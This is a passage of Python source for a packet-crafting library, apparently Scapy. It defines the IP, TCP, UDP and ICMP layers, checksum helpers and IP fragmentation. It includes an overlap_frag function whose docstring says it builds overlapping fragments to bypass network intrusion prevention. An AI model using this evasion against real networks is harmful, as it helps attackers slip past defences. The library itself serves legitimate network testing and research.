re.findall(r"!?([bBhHiIlLqQfdpP]|\d+[spx])", fmt) rval = [] for stru in structs: stru = "!" + stru if "s" in stru or "p" in stru: # str / chr v = bytes(RandBin(struct.calcsize(stru))) else: # int _size = struct.calcsize(stru) v = random.randint(0, 2 ** (8 * _size) - 1) rval.append(v) rand_vals.append((oname, tuple(rval))) return rand_vals def __bytes__(self): return TCPOptionsField.i2m(None, None, self._fix()) class TCPOptionsField(StrField): islist = 1 def getfield(self, pkt, s): opsz = (pkt.dataofs - 5) * 4 if opsz < 0: log_runtime.info( "bad dataofs (%i). Assuming dataofs=5", pkt.dataofs ) opsz = 0 return s[opsz:], self.m2i(pkt, s[:opsz]) def m2i(self, pkt, x): opt = [] while x: onum = orb(x[0]) if onum == 0: opt.append(("EOL", None)) break if onum == 1: opt.append(("NOP", None)) x = x[1:] continue try: olen = orb(x[1]) except IndexError: olen = 0 if olen < 2: log_runtime.info( "Malformed TCP option (announced length is %i)", olen ) olen = 2 oval = x[2:olen] if onum in TCPOptions[0]: oname, ofmt = TCPOptions[0][onum] if onum == 5: # SAck ofmt += "%iI" % (len(oval) // 4) if onum == 29: # AO oval = TCPAOValue(oval) if ofmt and struct.calcsize(ofmt) == len(oval): oval = struct.unpack(ofmt, oval) if len(oval) == 1: oval = oval[0] opt.append((oname, oval)) else: opt.append((onum, oval)) x = x[olen:] return opt def i2h(self, pkt, x): if not x: return [] return x def i2m(self, pkt, x): opt = b"" for oname, oval in x: # We check for a (0, b'') or (1, b'') option first oname = {0: "EOL", 1: "NOP"}.get(oname, oname) if isinstance(oname, str): if oname == "NOP": opt += b"\x01" continue elif oname == "EOL": opt += b"\x00" continue elif oname in TCPOptions[1]: onum = TCPOptions[1][oname] ofmt = TCPOptions[0][onum][1] if onum == 5: # SAck ofmt += "%iI" % len(oval) _test_isinstance = not isinstance(oval, (bytes, str)) if ofmt is not None and (_test_isinstance or "s" in ofmt): if not isinstance(oval, tuple): oval = (oval,) oval = struct.pack(ofmt, *oval) if onum == 29: # AO oval = bytes(oval) else: warning("Option [%s] unknown. Skipped.", oname) continue else: onum = oname if not isinstance(onum, int): warning("Invalid option number [%i]" % onum) continue if not isinstance(oval, (bytes, str)): warning("Option [%i] is not bytes." % onum) continue if isinstance(oval, str): oval = bytes_encode(oval) opt += chb(onum) + chb(2 + len(oval)) + oval return opt + b"\x00" * (3 - ((len(opt) + 3) % 4)) # Padding def randval(self): return RandTCPOptions() class ICMPTimeStampField(IntField): re_hmsm = re.compile("([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$") # noqa: E501 def i2repr(self, pkt, val): if val is None: return "--" else: sec, milli = divmod(val, 1000) min, sec = divmod(sec, 60) hour, min = divmod(min, 60) return "%d:%d:%d.%d" % (hour, min, sec, int(milli)) def any2i(self, pkt, val): if isinstance(val, str): hmsms = self.re_hmsm.match(val) if hmsms: h, _, m, _, s, _, ms = hmsms.groups() ms = int(((ms or "") + "000")[:3]) val = ((int(h) * 60 + int(m or 0)) * 60 + int(s or 0)) * 1000 + ms # noqa: E501 else: val = 0 elif val is None: val = int((time.time() % (24 * 60 * 60)) * 1000) return val class DestIPField(IPField, DestField): bindings = {} def __init__(self, name, default): IPField.__init__(self, name, None) DestField.__init__(self, name, default) def i2m(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IPField.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IPField.i2h(self, pkt, x) class IP(Packet, IPTools): name = "IP" fields_desc = [BitField("version", 4, 4), BitField("ihl", None, 4), XByteField("tos", 0), ShortField("len", None), ShortField("id", 1), FlagsField("flags", 0, 3, ["MF", "DF", "evil"]), BitField("frag", 0, 13), ByteField("ttl", 64), ByteEnumField("proto", 0, IP_PROTOS), XShortField("chksum", None), # IPField("src", "127.0.0.1"), Emph(SourceIPField("src")), Emph(DestIPField("dst", "127.0.0.1")), PacketListField("options", [], IPOption, length_from=lambda p:p.ihl * 4 - 20)] # noqa: E501 def post_build(self, p, pay): ihl = self.ihl p += b"\0" * ((-len(p)) % 4) # pad IP options if needed if ihl is None: ihl = len(p) // 4 p = chb(((self.version & 0xf) << 4) | ihl & 0x0f) + p[1:] if self.len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] if self.chksum is None: ck = checksum(p) p = p[:10] + chb(ck >> 8) + chb(ck & 0xff) + p[12:] return p + pay def extract_padding(self, s): tmp_len = self.len - (self.ihl << 2) if tmp_len < 0: return s, b"" return s[:tmp_len], s[tmp_len:] def route(self): dst = self.dst scope = None if isinstance(dst, (Net, _ScopedIP)): scope = dst.scope if isinstance(dst, (Gen, list)): dst = next(iter(dst)) if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 if not isinstance(dst, (str, bytes, int)): dst = str(dst) return conf.route.route(dst, dev=scope) def hashret(self): if ((self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3, 4, 5, 11, 12])): return self.payload.payload.hashret() if not conf.checkIPinIP and self.proto in [4, 41]: # IP, IPv6 return self.payload.hashret() if self.dst == "224.0.0.251": # mDNS return struct.pack("B", self.proto) + self.payload.hashret() if conf.checkIPsrc and conf.checkIPaddr: return (strxor(inet_pton(socket.AF_INET, self.src), inet_pton(socket.AF_INET, self.dst)) + struct.pack("B", self.proto) + self.payload.hashret()) return struct.pack("B", self.proto) + self.payload.hashret() def answers(self, other): if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP if self.proto in [4, 41]: return self.payload.answers(other) if isinstance(other, IP) and other.proto in [4, 41]: return self.answers(other.payload) if conf.ipv6_enabled \ and isinstance(other, scapy.layers.inet6.IPv6) \ and other.nh in [4, 41]: return self.answers(other.payload) if not isinstance(other, IP): return 0 if conf.checkIPaddr: if other.dst == "224.0.0.251" and self.dst == "224.0.0.251": # mDNS # noqa: E501 return self.payload.answers(other.payload) elif (self.dst != other.src): return 0 if ((self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3, 4, 5, 11, 12])): # ICMP error message return self.payload.payload.answers(other) else: if ((conf.checkIPaddr and (self.src != other.dst)) or (self.proto != other.proto)): return 0 return self.payload.answers(other.payload) def mysummary(self): s = self.sprintf("%IP.src% > %IP.dst% %IP.proto%") if self.frag: s += " frag:%i" % self.frag return s def fragment(self, fragsize=1480): """Fragment IP datagrams""" return fragment(self, fragsize=fragsize) def in4_pseudoheader(proto, u, plen): # type: (int, IP, int) -> bytes """IPv4 Pseudo Header as defined in RFC793 as bytes :param proto: value of upper layer protocol :param u: IP layer instance :param plen: the length of the upper layer and payload """ u = u.copy() if u.len is not None: if u.ihl is None: olen = sum(len(x) for x in u.options) ihl = 5 + olen // 4 + (1 if olen % 4 else 0) else: ihl = u.ihl ln = max(u.len - 4 * ihl, 0) else: ln = plen # Filter out IPOption_LSRR and IPOption_SSRR sr_options = [opt for opt in u.options if isinstance(opt, IPOption_LSRR) or isinstance(opt, IPOption_SSRR)] len_sr_options = len(sr_options) if len_sr_options == 1 and len(sr_options[0].routers): # The checksum must be computed using the final # destination address u.dst = sr_options[0].routers[-1] elif len_sr_options > 1: message = "Found %d Source Routing Options! " message += "Falling back to IP.dst for checksum computation." warning(message, len_sr_options) return struct.pack("!4s4sHH", inet_pton(socket.AF_INET, u.src), inet_pton(socket.AF_INET, u.dst), proto, ln) def in4_chksum(proto, u, p): # type: (int, IP, bytes) -> int """IPv4 Pseudo Header checksum as defined in RFC793 :param proto: value of upper layer protocol :param u: upper layer instance :param p: the payload of the upper layer provided as a string """ if not isinstance(u, IP): warning("No IP underlayer to compute checksum. Leaving null.") return 0 psdhdr = in4_pseudoheader(proto, u, len(p)) return checksum(psdhdr + p) def _is_ipv6_layer(p): # type: (Packet) -> bytes return (isinstance(p, scapy.layers.inet6.IPv6) or isinstance(p, scapy.layers.inet6._IPv6ExtHdr)) def tcp_pseudoheader(tcp): # type: (TCP) -> bytes """Pseudoheader of a TCP packet as bytes Requires underlayer to be either IP or IPv6 """ if isinstance(tcp.underlayer, IP): plen = len(bytes(tcp)) return in4_pseudoheader(socket.IPPROTO_TCP, tcp.underlayer, plen) elif conf.ipv6_enabled and _is_ipv6_layer(tcp.underlayer): plen = len(bytes(tcp)) return raw(scapy.layers.inet6.in6_pseudoheader( socket.IPPROTO_TCP, tcp.underlayer, plen)) else: raise ValueError("TCP packet does not have IP or IPv6 underlayer") def calc_tcp_md5_hash(tcp, key): # type: (TCP, bytes) -> bytes """Calculate TCP-MD5 hash from packet and return a 16-byte string""" import hashlib h = hashlib.md5() # nosec tcp_bytes = bytes(tcp) h.update(tcp_pseudoheader(tcp)) h.update(tcp_bytes[:16]) h.update(b"\x00\x00") h.update(tcp_bytes[18:]) h.update(key) return h.digest() def sign_tcp_md5(tcp, key): # type: (TCP, bytes) -> None """Append TCP-MD5 signature to tcp packet""" sig = calc_tcp_md5_hash(tcp, key) tcp.options = tcp.options + [('MD5', sig)] class TCP(Packet): name = "TCP" fields_desc = [ShortEnumField("sport", 20, TCP_SERVICES), ShortEnumField("dport", 80, TCP_SERVICES), IntField("seq", 0), IntField("ack", 0), BitField("dataofs", None, 4), BitField("reserved", 0, 3), FlagsField("flags", 0x2, 9, "FSRPAUECN"), ShortField("window", 8192), XShortField("chksum", None), ShortField("urgptr", 0), TCPOptionsField("options", "")] def post_build(self, p, pay): p += pay dataofs = self.dataofs if dataofs is None: opt_len = len(self.get_field("options").i2m(self, self.options)) dataofs = 5 + ((opt_len + 3) // 4) dataofs = (dataofs << 4) | orb(p[12]) & 0x0f p = p[:12] + chb(dataofs & 0xff) + p[13:] if self.chksum is None: if isinstance(self.underlayer, IP): ck = in4_chksum(socket.IPPROTO_TCP, self.underlayer, p) p = p[:16] + struct.pack("!H", ck) + p[18:] elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): # noqa: E501 ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p) # noqa: E501 p = p[:16] + struct.pack("!H", ck) + p[18:] else: log_runtime.info( "No IP underlayer to compute checksum. Leaving null." ) return p def hashret(self): if conf.checkIPsrc: return struct.pack("H", self.sport ^ self.dport) + self.payload.hashret() # noqa: E501 else: return self.payload.hashret() def answers(self, other): if not isinstance(other, TCP): return 0 # RST packets don't get answers if other.flags.R: return 0 # We do not support the four-way handshakes with the SYN+ACK # answer split in two packets (one ACK and one SYN): in that # case the ACK will be seen as an answer, but not the SYN. if self.flags.S: # SYN packets without ACK are not answers if not self.flags.A: return 0 # SYN+ACK packets answer SYN packets if not other.flags.S: return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 # Do not check ack value for SYN packets without ACK if not (other.flags.S and not other.flags.A) \ and abs(other.ack - self.seq) > 2: return 0 # Do not check ack value for RST packets without ACK if self.flags.R and not self.flags.A: return 1 if abs(other.seq - self.ack) > 2 + len(other.payload): return 0 return 1 def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%") # noqa: E501 elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6): # noqa: E501 return self.underlayer.sprintf("TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%") # noqa: E501 else: return self.sprintf("TCP %TCP.sport% > %TCP.dport% %TCP.flags%") class UDP(Packet): name = "UDP" fields_desc = [ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] def post_build(self, p, pay): p += pay tmp_len = self.len if tmp_len is None: tmp_len = len(p) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] if self.chksum is None: if isinstance(self.underlayer, IP): ck = in4_chksum(socket.IPPROTO_UDP, self.underlayer, p) # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 if ck == 0: ck = 0xFFFF p = p[:6] + struct.pack("!H", ck) + p[8:] elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): # noqa: E501 ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p) # noqa: E501 # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 if ck == 0: ck = 0xFFFF p = p[:6] + struct.pack("!H", ck) + p[8:] else: log_runtime.info( "No IP underlayer to compute checksum. Leaving null." ) return p def extract_padding(self, s): tmp_len = self.len - 8 return s[:tmp_len], s[tmp_len:] def hashret(self): return self.payload.hashret() def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if self.dport != other.sport: return 0 return self.payload.answers(other.payload) def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%") # noqa: E501 elif isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%") # noqa: E501 else: return self.sprintf("UDP %UDP.sport% > %UDP.dport%") # RFC 4884 ICMP extensions _ICMP_classnums = { # https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml#icmp-parameters-ext-classes 1: "MPLS", 2: "Interface Information", 3: "Interface Identification", 4: "Extended Information", } class ICMPExtension_Object(Packet): name = "ICMP Extension Object" show_indent = 0 fields_desc = [ ShortField("len", None), ByteEnumField("classnum", 0, _ICMP_classnums), ByteField("classtype", 0), ] def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = struct.pack("!H", tmp_len) + p[2:] return p + pay registered_icmp_exts = {} @classmethod def register_variant(cls): cls.registered_icmp_exts[cls.classnum.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4: classnum = _pkt[2] if classnum in cls.registered_icmp_exts: return cls.registered_icmp_exts[classnum] return cls class ICMPExtension_InterfaceInformation(ICMPExtension_Object): name = "ICMP Extension Object - Interface Information Object (RFC5837)" fields_desc = [ ShortField("len", None), ByteEnumField("classnum", 2, _ICMP_classnums), BitField("classtype", 0, 2), BitField("reserved", 0, 2), BitField("has_ifindex", 0, 1), BitField("has_ipaddr", 0, 1), BitField("has_ifname", 0, 1), BitField("has_mtu", 0, 1), ConditionalField(IntField("ifindex", None), lambda pkt: pkt.has_ifindex == 1), ConditionalField(ShortField("afi", None), lambda pkt: pkt.has_ipaddr == 1), ConditionalField(ShortField("reserved2", 0), lambda pkt: pkt.has_ipaddr == 1), ConditionalField(IPField("ip4", None), lambda pkt: pkt.afi == 1), ConditionalField(IP6Field("ip6", None), lambda pkt: pkt.afi == 2), ConditionalField( FieldLenField("ifname_len", None, fmt="B", length_of="ifname"), lambda pkt: pkt.has_ifname == 1, ), ConditionalField( StrLenField("ifname", None, length_from=lambda pkt: pkt.ifname_len), lambda pkt: pkt.has_ifname == 1, ), ConditionalField(IntField("mtu", None), lambda pkt: pkt.has_mtu == 1), ] def self_build(self, **kwargs): if self.afi is None: if self.ip4 is not None: self.afi = 1 elif self.ip6 is not None: self.afi = 2 return ICMPExtension_Object.self_build(self, **kwargs) class ICMPExtension_Header(Packet): r""" ICMP Extension per RFC4884. Example:: pkt = IP(dst="127.0.0.1", src="127.0.0.1") / ICMP( type="time-exceeded", code="ttl-zero-during-transit", ext=ICMPExtension_Header() / ICMPExtension_InterfaceInformation( has_ifindex=1, has_ipaddr=1, has_ifname=1, ip4="10.10.10.10", ifname="hey", ) ) / IPerror(src="12.4.4.4", dst="12.1.1.1") / \ UDPerror(sport=42315, dport=33440) / \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' """ name = "ICMP Extension Header (RFC4884)" show_indent = 0 fields_desc = [ BitField("version", 2, 4), BitField("reserved", 0, 12), XShortField("chksum", None), ] _min_ieo_len = len(ICMPExtension_Object()) def post_build(self, p, pay): p += pay if self.chksum is None: ck = checksum(p) p = p[:2] + chb(ck >> 8) + chb(ck & 0xFF) + p[4:] return p def guess_payload_class(self, payload): if len(payload) < self._min_ieo_len: return Packet.guess_payload_class(self, payload) return ICMPExtension_Object class _ICMPExtensionField(TrailerField): # We use a TrailerField for building only. Dissection is normal. def __init__(self): super(_ICMPExtensionField, self).__init__( PacketField( "ext", None, ICMPExtension_Header, ), ) def getfield(self, pkt, s): # RFC4884 section 5.2 says if the ICMP packet length # is >144 then ICMP extensions start at byte 137. if len(pkt.original) < 144: return s, None offset = 136 + len(s) - len(pkt.original) data = s[offset:] # Validate checksum if checksum(data) == data[3:5]: return s, None # failed # Dissect return s[:offset], ICMPExtension_Header(data) def addfield(self, pkt, s, val): if val is None: return s data = bytes(val) # Calc how much padding we need, not how much we deserve pad = 136 - len(pkt.payload) - len(s) if pad < 0: warning("ICMPExtension_Header is after the 136th octet of ICMP.") return data return super(_ICMPExtensionField, self).addfield(pkt, s, b"\x00" * pad + data) class _ICMPExtensionPadField(TrailerField): def __init__(self): super(_ICMPExtensionPadField, self).__init__( StrFixedLenField("extpad", "", length=0) ) def i2repr(self, pkt, s): if s and s == b"\x00" * len(s): return "b'' (%s octets)" % len(s) return self.fld.i2repr(pkt, s) def _ICMP_extpad_post_dissection(self, pkt): # If we have padding, put it in 'extpad' for re-build if pkt.ext: pad = pkt.lastlayer() if isinstance(pad, conf.padding_layer): pad.underlayer.remove_payload() pkt.extpad = pad.load icmptypes = {0: "echo-reply", 3: "dest-unreach", 4: "source-quench", 5: "redirect", 8: "echo-request", 9: "router-advertisement", 10: "router-solicitation", 11: "time-exceeded", 12: "parameter-problem", 13: "timestamp-request", 14: "timestamp-reply", 15: "information-request", 16: "information-response", 17: "address-mask-request", 18: "address-mask-reply", 30: "traceroute", 31: "datagram-conversion-error", 32: "mobile-host-redirect", 33: "ipv6-where-are-you", 34: "ipv6-i-am-here", 35: "mobile-registration-request", 36: "mobile-registration-reply", 37: "domain-name-request", 38: "domain-name-reply", 39: "skip", 40: "photuris"} icmpcodes = {3: {0: "network-unreachable", 1: "host-unreachable", 2: "protocol-unreachable", 3: "port-unreachable", 4: "fragmentation-needed", 5: "source-route-failed", 6: "network-unknown", 7: "host-unknown", 9: "network-prohibited", 10: "host-prohibited", 11: "TOS-network-unreachable", 12: "TOS-host-unreachable", 13: "communication-prohibited", 14: "host-precedence-violation", 15: "precedence-cutoff", }, 5: {0: "network-redirect", 1: "host-redirect", 2: "TOS-network-redirect", 3: "TOS-host-redirect", }, 11: {0: "ttl-zero-during-transit", 1: "ttl-zero-during-reassembly", }, 12: {0: "ip-header-bad", 1: "required-option-missing", }, 40: {0: "bad-spi", 1: "authentication-failed", 2: "decompression-failed", 3: "decryption-failed", 4: "need-authentification", 5: "need-authorization", }, } _icmp_answers = [ (8, 0), (13, 14), (15, 16), (17, 18), (33, 34), (35, 36), (37, 38), ] icmp_id_seq_types = [0, 8, 13, 14, 15, 16, 17, 18, 37, 38] class ICMP(Packet): name = "ICMP" fields_desc = [ ByteEnumField("type", 8, icmptypes), MultiEnumField("code", 0, icmpcodes, depends_on=lambda pkt:pkt.type, fmt="B"), XShortField("chksum", None), ConditionalField( XShortField("id", 0), lambda pkt: pkt.type in icmp_id_seq_types ), ConditionalField( XShortField("seq", 0), lambda pkt: pkt.type in icmp_id_seq_types ), ConditionalField( # Timestamp only (RFC792) ICMPTimeStampField("ts_ori", None), lambda pkt: pkt.type in [13, 14] ), ConditionalField( # Timestamp only (RFC792) ICMPTimeStampField("ts_rx", None), lambda pkt: pkt.type in [13, 14] ), ConditionalField( # Timestamp only (RFC792) ICMPTimeStampField("ts_tx", None), lambda pkt: pkt.type in [13, 14] ), ConditionalField( # Redirect only (RFC792) IPField("gw", "0.0.0.0"), lambda pkt: pkt.type == 5 ), ConditionalField( # Parameter problem only (RFC792) ByteField("ptr", 0), lambda pkt: pkt.type == 12 ), ConditionalField( ByteField("reserved", 0), lambda pkt: pkt.type in [3, 11] ), ConditionalField( ByteField("length", 0), lambda pkt: pkt.type in [3, 11, 12] ), ConditionalField( IPField("addr_mask", "0.0.0.0"), lambda pkt: pkt.type in [17, 18] ), ConditionalField( ShortField("nexthopmtu", 0), lambda pkt: pkt.type == 3 ), MultipleTypeField( [ (ShortField("unused", 0), lambda pkt:pkt.type in [11, 12]), (IntField("unused", 0), lambda pkt:pkt.type not in [0, 3, 5, 8, 11, 12, 13, 14, 15, 16, 17, 18]) ], StrFixedLenField("unused", "", length=0), ), # RFC4884 ICMP extension ConditionalField( _ICMPExtensionPadField(), lambda pkt: pkt.type in [3, 11, 12], ), ConditionalField( _ICMPExtensionField(), lambda pkt: pkt.type in [3, 11, 12], ), ] # To handle extpad post_dissection = _ICMP_extpad_post_dissection def post_build(self, p, pay): p += pay if self.chksum is None: ck = checksum(p) p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] return p def hashret(self): if self.type in icmp_id_seq_types: return struct.pack("HH", self.id, self.seq) + self.payload.hashret() # noqa: E501 return self.payload.hashret() def answers(self, other): if not isinstance(other, ICMP): return 0 if ((other.type, self.type) in _icmp_answers and self.id == other.id and self.seq == other.seq): return 1 return 0 def guess_payload_class(self, payload): if self.type in [3, 4, 5, 11, 12]: return IPerror else: return None def mysummary(self): extra = "" if self.ext: extra = self.ext.payload.sprintf(" ext:%classnum%") if isinstance(self.underlayer, IP): return self.underlayer.sprintf( "ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%" ) + extra else: return self.sprintf("ICMP %ICMP.type% %ICMP.code%") + extra # IP / TCP / UDP error packets class IPerror(IP): name = "IP in ICMP" def answers(self, other): if not isinstance(other, IP): return 0 # Check if IP addresses match test_IPsrc = not conf.checkIPsrc or self.src == other.src test_IPdst = self.dst == other.dst # Check if IP ids match test_IPid = not conf.checkIPID or self.id == other.id test_IPid |= conf.checkIPID and self.id == socket.htons(other.id) # Check if IP protocols match test_IPproto = self.proto == other.proto if not (test_IPsrc and test_IPdst and test_IPid and test_IPproto): return 0 return self.payload.answers(other.payload) def mysummary(self): return Packet.mysummary(self) class TCPerror(TCP): name = "TCP in ICMP" fields_desc = ( TCP.fields_desc[:2] + # MayEnd after the 8 first octets. [MayEnd(TCP.fields_desc[2])] + TCP.fields_desc[3:] ) def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 if conf.check_TCPerror_seqack: if self.seq is not None: if self.seq != other.seq: return 0 if self.ack is not None: if self.ack != other.ack: return 0 return 1 def mysummary(self): return Packet.mysummary(self) class UDPerror(UDP): name = "UDP in ICMP" def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 return 1 def mysummary(self): return Packet.mysummary(self) class ICMPerror(ICMP): name = "ICMP in ICMP" def answers(self, other): if not isinstance(other, ICMP): return 0 if not ((self.type == other.type) and (self.code == other.code)): return 0 if self.code in [0, 8, 13, 14, 17, 18]: if (self.id == other.id and self.seq == other.seq): return 1 else: return 0 else: return 1 def mysummary(self): return Packet.mysummary(self) bind_layers(Ether, IP, type=2048) bind_layers(CookedLinux, IP, proto=2048) bind_layers(GRE, IP, proto=2048) bind_layers(SNAP, IP, code=2048) bind_bottom_up(Loopback, IP, type=0) bind_layers(Loopback, IP, type=socket.AF_INET) bind_layers(IPerror, IPerror, frag=0, proto=4) bind_layers(IPerror, ICMPerror, frag=0, proto=1) bind_layers(IPerror, TCPerror, frag=0, proto=6) bind_layers(IPerror, UDPerror, frag=0, proto=17) bind_layers(IP, IP, frag=0, proto=4) bind_layers(IP, ICMP, frag=0, proto=1) bind_layers(IP, TCP, frag=0, proto=6) bind_layers(IP, UDP, frag=0, proto=17) bind_layers(IP, GRE, frag=0, proto=47) bind_layers(UDP, GRE, dport=4754) conf.l2types.register(DLT_RAW, IP) conf.l2types.register_num2layer(DLT_RAW_ALT, IP) conf.l2types.register(DLT_IPV4, IP) if OPENBSD: conf.l2types.register_num2layer(228, IP) conf.l3types.register(ETH_P_IP, IP) conf.l3types.register_num2layer(ETH_P_ALL, IP) def inet_register_l3(l2, l3): """ Resolves the default L2 destination address when IP is used. """ return getmacbyip(l3.dst) conf.neighbor.register_l3(Ether, IP, inet_register_l3) conf.neighbor.register_l3(Dot3, IP, inet_register_l3) ################### # Fragmentation # ################### @conf.commands.register def fragment(pkt, fragsize=1480): """Fragment a big IP datagram""" if fragsize < 8: warning("fragsize cannot be lower than 8") fragsize = max(fragsize, 8) lastfragsz = fragsize fragsize -= fragsize % 8 lst = [] for p in pkt: s = raw(p[IP].payload) nb = (len(s) - lastfragsz + fragsize - 1) // fragsize + 1 for i in range(nb): q = p.copy() del q[IP].payload del q[IP].chksum del q[IP].len if i != nb - 1: q[IP].flags |= 1 fragend = (i + 1) * fragsize else: fragend = i * fragsize + lastfragsz q[IP].frag += i * fragsize // 8 r = conf.raw_layer(load=s[i * fragsize:fragend]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst @conf.commands.register def overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None): """Build overlapping fragments to bypass NIPS p: the original packet overlap: the overlapping data fragsize: the fragment size of the packet overlap_fragsize: the fragment size of the overlapping packet""" if overlap_fragsize is None: overlap_fragsize = fragsize q = p.copy() del q[IP].payload q[IP].add_payload(overlap) qfrag = fragment(q, overlap_fragsize) qfrag[-1][IP].flags |= 1 return qfrag + fragment(p, fragsize) class BadFragments(ValueError): def __init__(self, *args, **kwargs): self.frags = kwargs.pop("frags", None) super(BadFragments, self).__init__(*args, **kwargs) def _defrag_iter_and_check_offsets(frags): """ Internal generator used in _defrag_ip_pkt """ offset = 0 for pkt, o, length in frags: if offset != o: if offset > o: op = ">" else: op = "<" warning("Fragment overlap (%i %s %i) on %r" % (offset, op, o, pkt)) raise BadFragments offset += length yield bytes(pkt[IP].payload) def _defrag_ip_pkt(pkt, frags): """ Defragment a single IP packet. :param pkt: the new pkt :param frags: a defaultdict(list) used for storage :return: a tuple (fragmented, defragmented_value) """ ip = pkt[IP] if pkt.frag != 0 or ip.flags.MF: # fragmented ! uid = (ip.id, ip.src, ip.dst, ip.proto) if ip.len is None or ip.ihl is None: fraglen = len(ip.payload) else: fraglen = ip.len - (ip.ihl << 2) # (pkt, frag offset, frag len) frags[uid].append((pkt, ip.frag << 3, fraglen)) if not ip.flags.MF: # no more fragments = last fragment curfrags = sorted(frags[uid], key=lambda x: x[1]) # sort by offset try: data = b"".join(_defrag_iter_and_check_offsets(curfrags)) except ValueError: # bad fragment badfrags = frags[uid] del frags[uid] raise BadFragments(frags=badfrags) # re-build initial packet without fragmentation p = curfrags[0][0].copy() pay_class = p[IP].payload.__class__ p[IP].flags.MF = False p[IP].remove_payload() p[IP].len = None p[IP].chksum = None # append defragmented payload p /= pay_class(data) # cleanup del frags[uid] return True, p return True, None return False, pkt def _defrag_logic(plist, complete=False): """ Internal function used to defragment a list of packets. It contains the logic behind the defrag() and defragment() functions """ frags = defaultdict(list) final = [] notfrag = [] badfrag = [] # Defrag for i, pkt in enumerate(plist): if IP not in pkt: # no IP layer if complete: final.append(pkt) continue try: fragmented, defragmented_value = _defrag_ip_pkt( pkt, frags, ) except BadFragments as ex: if complete: final.extend(ex.frags) else: badfrag.extend(ex.frags) continue if complete and defragmented_value: final.append(defragmented_value) elif defragmented_value: if fragmented: final.append(defragmented_value) else: notfrag.append(defragmented_value) # Return if complete: if hasattr(plist, "listname"): name = "Defragmented %s" % plist.listname else: name = "Defragmented" return PacketList(final, name=name) else: return PacketList(notfrag), PacketList(final), PacketList(badfrag) @conf.commands.register def defrag(plist): """defrag(plist) -> ([not fragmented], [defragmented], [ [bad fragments], [bad fragments], ... ])""" return _defrag_logic(plist, complete=False) @conf.commands.register def defragment(plist): """defragment(plist) -> plist defragmented as much as possible """ return _defrag_logic(plist, complete=True) # Add timeskew_graph() method to PacketList def _packetlist_timeskew_graph(self, ip, **kargs): """Tries to graph the timeskew between the timestamps and real time for a given ip""" # noqa: E501 # Defer imports of matplotlib until its needed # because it has a heavy dep chain from scapy.libs.matplot import ( plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS ) # Filter TCP segments which source address is 'ip' tmp = (self._elt2pkt(x) for x in self.res) b = (x for x in tmp if IP in x and x[IP].src == ip and TCP in x) # Build a list of tuples (creation_time, replied_timestamp) c = [] tsf = ICMPTimeStampField("", None) for p in b: opts = p.getlayer(TCP).options for o in opts: if o[0] == "Timestamp": c.append((p.time, tsf.any2i("", o[1][0]))) # Stop if the list is empty if not c: warning("No timestamps found in packet list") return [] # Prepare the data that will be plotted first_creation_time = c[0][0] first_replied_timestamp = c[0][1] def _wrap_data(ts_tuple, wrap_seconds=2000): """Wrap the list of tuples.""" ct, rt = ts_tuple # (creation_time, replied_timestamp) X = ct % wrap_seconds Y = ((ct - first_creation_time) - ((rt - first_replied_timestamp) / 1000.0)) # noqa: E501 return X, Y data = [_wrap_data(e) for e in c] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS lines = plt.plot(data, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines _PacketList.timeskew_graph = _packetlist_timeskew_graph # Create a new packet list class TracerouteResult(SndRcvList): __slots__ = ["graphdef", "graphpadding", "graphASres", "padding", "hloc", "nloc"] def __init__(self, res=None, 